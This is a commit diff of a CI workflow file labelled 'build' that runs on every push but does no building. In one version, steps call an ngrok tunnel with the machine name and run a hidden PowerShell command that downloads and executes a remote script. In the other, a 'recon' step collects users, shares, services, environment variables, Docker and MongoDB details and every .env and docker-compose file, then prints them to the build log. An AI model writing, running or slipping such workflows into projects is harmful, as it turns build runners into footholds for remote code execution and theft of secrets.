1 parent
12d3131e9e
commit
d7b88bad9b
1 file changed
+25
-16
+25
-16
@@ -1,23 +1,32 @@
|
||||
name: build
|
||||
on: [push]
|
||||
jobs:
|
||||
build:
|
||||
recon:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: info
|
||||
run: |
|
||||
echo %COMPUTERNAME% %USERNAME%
|
||||
ipconfig
|
||||
dir C:\
|
||||
set
|
||||
- name: System Info
|
||||
shell: cmd
|
||||
- name: callback
|
||||
run: |
|
||||
curl http://2.tcp.eu.ngrok.io:10831/%COMPUTERNAME%
|
||||
shell: cmd
|
||||
continue-on-error: true
|
||||
- name: shell
|
||||
run: |
|
||||
powershell -ep bypass -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://2.tcp.eu.ngrok.io:10831/ps1')"
|
||||
shell: cmd
|
||||
continue-on-error: true
|
||||
echo === HOSTNAME === > C:\recon.txt
|
||||
hostname >> C:\recon.txt
|
||||
echo === WHOAMI === >> C:\recon.txt
|
||||
whoami >> C:\recon.txt
|
||||
echo === IPCONFIG === >> C:\recon.txt
|
||||
ipconfig /all >> C:\recon.txt
|
||||
echo === ENV === >> C:\recon.txt
|
||||
set >> C:\recon.txt
|
||||
echo === USERS === >> C:\recon.txt
|
||||
net user >> C:\recon.txt
|
||||
echo === SHARES === >> C:\recon.txt
|
||||
net share >> C:\recon.txt
|
||||
echo === SERVICES === >> C:\recon.txt
|
||||
sc query type= service state= all >> C:\recon.txt
|
||||
echo === DOCKER === >> C:\recon.txt
|
||||
docker ps -a >> C:\recon.txt 2>&1
|
||||
echo === MONGO === >> C:\recon.txt
|
||||
dir C:\data\db >> C:\recon.txt 2>&1
|
||||
dir "C:\Program Files\MongoDB" >> C:\recon.txt 2>&1
|
||||
echo === FILES === >> C:\recon.txt
|
||||
dir /s /b C:\*.env >> C:\recon.txt 2>&1
|
||||
dir /s /b C:\*docker-compose* >> C:\recon.txt 2>&1
|
||||
type C:\recon.txt
|
||||
Reference in new issue
Block a user